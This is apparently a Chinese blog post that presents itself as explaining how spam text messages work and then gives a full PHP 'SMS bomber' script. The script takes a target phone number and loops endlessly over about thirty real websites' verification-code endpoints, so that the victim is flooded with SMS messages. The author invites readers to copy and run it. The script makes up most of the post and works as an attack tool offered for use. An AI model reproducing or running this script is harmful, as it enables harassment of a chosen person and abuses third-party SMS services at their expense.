生活中我们手机都会收到一些垃圾短信,很烦躁,有很多种解决方法,比如屏蔽垃圾短信 等等....
其实发送发送垃圾的原理无非就是去各大平台抓取发送短信接口,从而实现批量对某一手机号批量发送,
而今天我们分享一个发送这些垃圾短信的原理,写了一个脚本特地来实际操作一下,才知道其中的奥秘
脚本如下:
#!/usr/bin/env php
<?php
declare(ticks=1);
function signalDo($signo)
{
switch ($signo) {
case SIGTERM:
case SIGINT:
echo PHP_EOL;
echo "----------结束信息--------",PHP_EOL;
echo "作者:Bygones",PHP_EOL;
echo "QQ :1533102269",PHP_EOL;
echo "QQ群:179981870",PHP_EOL;
echo "----------结束信息--------",PHP_EOL;
echo PHP_EOL;
exit();
break;
}
}
function registerSigno($handler)
{
pcntl_signal(SIGTERM, $handler);
pcntl_signal(SIGINT, $handler);
}
registerSigno('signalDo');
$flag = true;
do{
if($flag){
fwrite(STDOUT,'请输入手机号:');
$flag = false;
}else{
fwrite(STDOUT,'请输入手机号:');
}
$phone = trim(fgets(STDIN));
}while(!$phone);
if(!preg_match('/^(1(([35789][0-9])|(4-7)))\d{8}$/',$phone)){
echo "手机号不合法";exit();
}
function curl(string $url)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_HEADER,1);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$data = curl_exec($curl);
curl_close($curl);
return $data;
}
$url = [
'http://ptlogin.4399.com/ptlogin/sendRegPhoneCode.do?phone='.$phone.'&appId=www_home&v=1&v=1',
'http://ss.intsig.net/user/send_sms_vcode?reason=register&language=zh-cn&app_name=ZaoDao_Android&3.5.0&mobile='.$phone.'&area_code=86&client_app=ZaoDao_Android&3.5.0&device_id=866119033955965',
'http://api.passport.pptv.com/checkImageCodeAndSendMsg?cb=jQuery11240024020769532270614_1532140086754&aliasName='.$phone.'&scene=REG_PPTV_PC&sceneFlag=1&channel=208000103001&format=jsonp&deviceId=mxuF164baaa6757PE2U&dfpToken=mxuF164baaa6757PE2U&_=1532140086755',
'http://211.156.201.12:8088/youzheng//ems/security?phone='.$phone.'',
'http://bizapi.pezy.cn/qknode/sms/reqSmsCode?publishid=1003&deviceId=2808ec7ef7fbeed6&df=android&vt=5&screen=1080x1920&deviceid=2808ec7ef7fbeed6&proid=qknode&os=android&av=NMF26X&appVersion=1.4.0&imei=865499038835144&ov=7.1.1&osVersion=7.1.1&osLevel=25&phone='.$phone.'&token=3DD2BB87F13891CB457ED67EE54497A4',
'http://api.passport.pptv.com/checkImageCodeAndSendMsg?&scene=REG_PPTV_APP&deviceId=867830021000533&aliasName='.$phone.'',
'http://passport.u9game.net/getvcode?phone='.$phone.'&for=reg',
'http://ptlogin.4399.com/ptlogin/sendRegPhoneCode.do?phone='.$phone.'&appId=u4399&v=1&sig=150106098724920c70e0&v=1',
'http://121.42.183.228:8082/InterfaceApi/Login/GetVerify.html?mobile='.$phone.'',
'http://www.baofeng99.com/Login/validCode?loginname='.$phone.'',
'http://user.daojia.com/user/getSmscode?mobile='.$phone.'',
'http://mall.juzifenqi.com/termi/sendVerifySMSVH?mobile='.$phone.'&flag=1&verifyCode=',
'http://office.teacher.com.cn/auth/captcha?telephone='.$phone.'&type=2&_=1557646135229',
'http://xc.kuaiyiche.me/app/Login/getPhoneCode?mobile='.$phone.'&use_type=1',
'http://xjy.coocm.com/wap/channel/sendsms.html?mobile='.$phone.'',
'http://www.tukuchina.cn/index.php?r=site/SendMessageLogin/&mobile='.$phone.'',
'http://passport.u9game.net/getvcode?phone='.$phone.'&for=reg',
'http://wsdj.saic.gov.cn/saicreg/register/verifyCodeSend?phoneNo='.$phone.'',
'http://www.hstechsz.com/?ct=login&ac=sendsms/&phone='.$phone.'&code_type=reg',
'http://id.ifeng.com/api/simplesendmsg?mobile='.$phone.'&comefrom=7&auth=&msgtype=0',
'http://mkxq.zymk.cn/user/v1/mobilevc/?mobile='.$phone.'&service=kmn&client-type=android&productname=kmh&platformname=android&client-channel=xiaomi&client-version=1.8.5',
'http://u.tieyou.com/api/user.html?act=checkMobileAccount&mobile='.$phone.'',
'http://webapp.qianbao188.aloestec.com/v2/app/pub/channel/smsCode?phone='.$phone.'&channelCode=%7B%7D',
'http://m.tuniu.com/event/NewMemberCoupon/SendTelCodeAjax?callback=jsonp3&tel=15207959241&callback=jsonp3&_='.$phone.'',
'http://www.cshixi.com/api/sendCode?username='.$phone.'',
'http://api.zxkjj.cn/renren-api/api/vervify-code/send?mobile='.$phone.'&sourceType=APP&channelCode=yingyongbao',
'http://wx.huiyuan.aimer.com.cn/ces/verifications/mobile?format=json&mobile='.$phone.'',
'http://m.passport.lotour.com/mreg/sendPhoneCode?callback=jQuery183020944447723873338_1561369196417&mobile='.$phone.'&_=1561369196417',
'http://srmemberapp.srgow.com/sys/captcha/'.$phone.'',
'http://passport2.chaoxing.com/num/phonecode?phone='.$phone.'&needcode=false',
'http://park.chemi.ren//serverpark/index.php/Api/Mobileapi/getCode?phone='.$phone.'&action=codeLogin&type=sms&client=android&version=2.4',
'http://web.sijibao.com/WEBproject/Companyservice/System/sendSecureCode?=useruid='.$phone.'&type=1',
'http://app.varefamulei.com/index.php?m=Api&c=smsSend&a=send&type=0?=source=android&version=160&mobile='.$phone.'',
'http://bj.iguanyu.com/gywebsite/common/sendVerificationCode?phone='.$phone.'',
];
$redis = new Redis();
$redis->pconnect('127.0.0.1',6379);
$a = 0;
while (true){
$value = $redis->LPOP('url');
if(!$value){
for($i = 0;$i<=count($url)-1;$i++){
$redis->LPUSH('url',$url[$i]);
}
}
curl((string) $value);
$a++;
echo "第".$a."次 手机号:".$phone.PHP_EOL;
}
大家可以复制到本地运行一下
运行效果图如下:
环境: php >= 7
扩展: redis
系统: Windowns Linux Mac
教程就到这里了,不懂可以在下面回复,我都会解答,